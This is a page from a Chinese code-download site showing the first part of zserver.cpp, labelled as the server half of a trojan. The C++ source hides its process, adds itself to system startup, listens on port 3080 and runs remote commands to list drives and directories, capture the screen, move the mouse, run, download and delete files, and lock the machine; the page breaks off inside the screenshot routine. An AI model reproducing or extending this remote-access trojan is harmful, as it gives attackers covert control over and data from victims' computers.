⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 zserver.cpp

📁 vc源代码 一个木马的客户端和服务端 要小心啊
💻 CPP
📖 第 1 页 / 共 2 页
字号:
// zserver.cpp : Defines the entry point for the application.
//

#include <stdafx.h>
#include <STDIO.H>
#include <stdlib.h>

#define SENDBLOCK 4096//传送(文件.屏幕截图...)时每次最大传送的块
///////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////

SOCKET sktClient;
SOCKET sktConnect;
BOOL EndProgram;//Exit program if TRUE
UINT nPort;//dafault port
struct sockaddr_in sockaddrin;
char chrcommand[2][300];//被分开后的 命令行

char chrReceive[300];//接收到的命令


UINT AnalyseCommand();//把命令分开


BOOL InitSocket();//return TRUE if successful
BOOL ConnectSocket();//listen and accept .return TRUE if successful
BOOL AcceptSocket();//return 0 if successful
void ResetAll();
void TestConnect();
void SendDriverInfo();
void listDirectory();
void SendScreen();
void RunFile();
void DownLoadFile();
void LockMachine();
void UnLock();
void Text2Screen();
void DelFile();
void AddToSystem();
void HideProcess();

HANDLE DDB2DIB(HBITMAP bitmap);//使图象与设备无关


void MouseEvent();
//////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////
typedef struct _MyFileInfo {
	BOOL        InvaliDir;                          //无效目录
	TCHAR       szFileName[128];                   //文件名
	BOOL        IsDirectory;                 //是目录?
	BOOL		Next;							//还有下一个?
} MyFileInfo, * PMyFileInfo;




typedef struct _MyScreenInfo{
	UINT ScrX;//宽(象素)
	UINT ScrY;//高(象素)
	DWORD dwSize;//图象大小
} MyScreenInfo, * pMyScreenInfo;



typedef struct _MyMouseEvent{
	DWORD dwFlags;//鼠标状态
	unsigned long dx;//屏幕位置 x
	unsigned long dy;//屏幕位置 y
	BOOL DoubleClick;//双击?  FLASE->不是 TRUE->是

} MyMouseEvent, * pMyMouseEvent;
/*--------------密码---------------

static DWORD WINAPI MyFunc (LPVOID pData)
{
//do something
//...
//pData输入项可以是任何类型值
//这里我们会传入一个DWORD的值做示例,并且简单返回
return *(DWORD*)pData;
}
static void AfterMyFunc (void) {
}
--------------密码---------------*/

///////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	// TODO: Place code here.
	HideProcess();
	AddToSystem();
	
	nPort=3080;//default port

	//initialize socket(ver=1.1)
	if(!InitSocket())
		return FALSE;

	if(!ConnectSocket())
		return FALSE;

	//wait command
	while(!EndProgram)//EndProgram??
	{
		if(!AcceptSocket())
		{
			ResetAll();
			ConnectSocket();
		}
		else
		{
			recv(sktClient,chrReceive,300,0);
			AnalyseCommand();//把命令分开

			switch((chrcommand[0][0]))
			{
			case 127:
				TestConnect();//测试连接
				break;
			case 1:
				SendDriverInfo();//传送驱动器信息
				break;
			case 2:
				listDirectory();//列出目录(目录由chrReceive收到,经过AnalyseCommand(),放在chrcommand[1]中
				break;
			case 3:
				SendScreen();//截取屏幕
				break;
			case 4:
				MouseEvent();//鼠标事件
				break;
			case 5:
				RunFile();//打开文件
				break;
			case 6:
				DownLoadFile();
				break;
			case 7:
				LockMachine();
				break;
			case 8:
				UnLock();
				break;
			case 9:
				Text2Screen();
				break;
			case 10:
				DelFile();
				break;
			case 11:
				exit(0);
				break;
			}

			closesocket(sktClient);

		}
	}

	return 0;
}

/////////////////////////////////////////////////////////////////////
BOOL InitSocket()
{
	WSADATA lpWSAData;
	if(WSAStartup(MAKEWORD(1,1),&lpWSAData))//The WSAStartup function returns zero if successful
	{
		MessageBox(GetActiveWindow(),
			"无法初始化WinSocket,请检查TCP/IP设置",
			"! WinSocket",
			MB_OK);
		return FALSE;//fail
	}
	return TRUE;
}

/////////////////////////////////////////////////////////////////////
BOOL ConnectSocket()
{
	// socket create
	sktConnect=socket(AF_INET,SOCK_STREAM,0);
	if(sktConnect==INVALID_SOCKET)
	{
		MessageBox(GetActiveWindow(),"无法创建SOCKET","! WinSocket",MB_OK);
		return FALSE;
	}
	

	// socket bind
	sockaddrin.sin_addr.s_addr = INADDR_ANY;
	sockaddrin.sin_family = AF_INET;
	sockaddrin.sin_port = htons(nPort);
	
	if(bind(sktConnect,(struct sockaddr far *)&sockaddrin,sizeof(sockaddrin)))
	{
		MessageBox(GetActiveWindow(),"无法绑定端口,可能端口已被占用","! WinSocket",MB_OK);
		return FALSE;
	}

	// socket listen
	if(listen(sktConnect,1))
	{
		MessageBox(GetActiveWindow(),"请检查网络设置","! WinSocket",MB_OK);
		return FALSE;
	}

	return TRUE;
}


/////////////////////////////////////////////////////////////////////

BOOL AcceptSocket()
{
	int ilenofsockaddr=sizeof(sockaddrin);
	sktClient=accept(sktConnect,(struct sockaddr far *)&sockaddrin,&ilenofsockaddr);
	if(sktClient==INVALID_SOCKET)
	{
		MessageBox(GetActiveWindow(),"连接失败","! WinSocket",MB_OK);
		return FALSE;
	}

	char cFlag[8];

	recv(sktClient,cFlag,8,0);//接收标志 确认是 本软件的 client 端

	if(strcmp(cFlag,"zserve\0"))
	{
		return FALSE;
	}
	
	send(sktClient ,cFlag,8,0);// 发送server端标志

	return TRUE;
}

/////////////////////////////////////////////////////////////////////

void ResetAll()
{
	closesocket(sktClient);
	closesocket(sktConnect);
}

/////////////////////////////////////////////////////////////////////
void TestConnect()
{
	send(sktClient,"连接成功",300,0);
}

/////////////////////////////////////////////////////////////////////

UINT AnalyseCommand()
{
	chrcommand[0][0]=chrReceive[0];
	for(int i=2;i<=299;i++)
	{
		chrcommand[1][i-2]=chrReceive[i];
	}
	return 0;
}

/////////////////////////////////////////////////////////////////////

void SendDriverInfo()
{
	char chr[300]=
		"                                                       ";
	//用空格使字符串为空
	
	int i=0;
	for(int drive = 1; drive <= 26; drive++ )
	{
		if( !_chdrive( drive ) )
		{
			chr[i]=(drive+'A'-1);
			i++;
			continue;
		}
		chr[i]='+';
	}
	
	send(sktClient,chr,300,0);
}

/////////////////////////////////////////////////////////////////////

void listDirectory()
{
	long handle;
	struct _MyFileInfo fileinfo;
	struct _finddata_t findfile;


	fileinfo.InvaliDir =0;
	fileinfo.IsDirectory =0;
	fileinfo.Next =0;
	
	if(_chdir(chrcommand[1]))
	{
		fileinfo.InvaliDir =1;
		strcpy(fileinfo.szFileName ,"!*目录无法访问*!");
		fileinfo.Next =1;
		fileinfo.IsDirectory =0;
		send(sktClient,(char*)&fileinfo,sizeof(_MyFileInfo),0);
		return;
	}

	handle = _findfirst("*",&findfile);
	do{
		strcpy(fileinfo.szFileName,findfile.name) ;
		fileinfo.Next =1;
		if(GetFileAttributes(fileinfo.szFileName )&FILE_ATTRIBUTE_DIRECTORY)
		{
			fileinfo.IsDirectory =1;
		}
		else
		{
			fileinfo.IsDirectory =0;
		}
		send(sktClient,(char *)&fileinfo,sizeof(_MyFileInfo),0);

	}while(!_findnext(handle,&findfile));
	
	fileinfo.Next =0;
	send(sktClient,(char*)&fileinfo,sizeof(_MyFileInfo),0);


}
void SendScreen()
{	
	_MyScreenInfo ScreenInfo;
	ScreenInfo.ScrX =  GetSystemMetrics(SM_CXSCREEN);
	ScreenInfo.ScrY  = GetSystemMetrics(SM_CYSCREEN);

	HDC hdcmy,hbufferdc;
	HBITMAP  hBit,hOldBitmap;
	//得到屏幕HDC
	hdcmy = CreateDC("DISPLAY",NULL,NULL,NULL);
	hbufferdc = CreateCompatibleDC(hdcmy);

	//建立相容的HBITMAP
	hBit = CreateCompatibleBitmap(hdcmy, ScreenInfo.ScrX , ScreenInfo.ScrY );

	//把屏幕copy到内存
	hOldBitmap = (HBITMAP)SelectObject(hbufferdc, hBit);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -